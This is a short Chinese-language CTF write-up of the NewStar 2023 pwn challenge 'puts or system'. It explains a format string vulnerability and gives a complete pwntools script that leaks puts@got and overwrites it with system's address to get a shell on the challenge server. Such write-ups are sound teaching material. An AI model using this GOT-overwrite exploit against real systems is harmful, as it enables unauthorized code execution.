newstar2023 week3 - puts or system

RocketDev

文件分析

下载putsorsys, NX on, PIE off, Canary on, RELRO partial
ghidra分析为64位程序

解题思路

程序可多次输入,且存在格式化字符串漏洞;在printf后,执行了puts("/bin/sh")
根据题意,将puts调用替换为system调用就可以拿到shell

由于程序relro保护为partial,因此可以直接将puts@got地址改为system地址即可

%n系列写地址输出过的字符是累计的,所以计算失误就会导致攻击失败, 因此可以把小的数字放在前面,大的数字放在后面,方便计算

EXPLOIT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
elf = ELF('putsorsys')
sh = remote('node4.buuoj.cn', 29595)
putsGot = elf.got['puts']

# payload 1
sh.sendline(b'1')
sh.sendlineafter(b'it', b'%9$sxxxx' + p64(putsGot)) # get puts@got

sh.recvuntil(b':\n')
putsGotAddr = u64(sh.recvline()[:6] + b'\0\0')
#addr = putsGotAddr - 0x179bf0 + 0x14f760
addr = putsGotAddr - 0x180ed0 + 0x150d60 # libc given, shift puts to system
print(hex(addr))

# payload 2
sh.sendline(b'1')
highAddr = (addr & 0xff0000) >> 16
sh.sendlineafter(b'it', f'%{highAddr}c%11$hhn%{(addr & 0xffff) - highAddr}c%12$hn'.ljust(24, '0').encode() + p64(putsGot + 2) + p64(putsGot))

sh.interactive()

第一次三血!

Done.

  • 标题: newstar2023 week3 - puts or system
  • 作者: RocketDev
  • 创建于 : 2023-10-12 12:00:00
  • 更新于 : 2024-07-30 10:28:00
  • 链接: https://rocketmadev.github.io/2023/10/12/W3_puts_or_system/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
目录
newstar2023 week3 - puts or system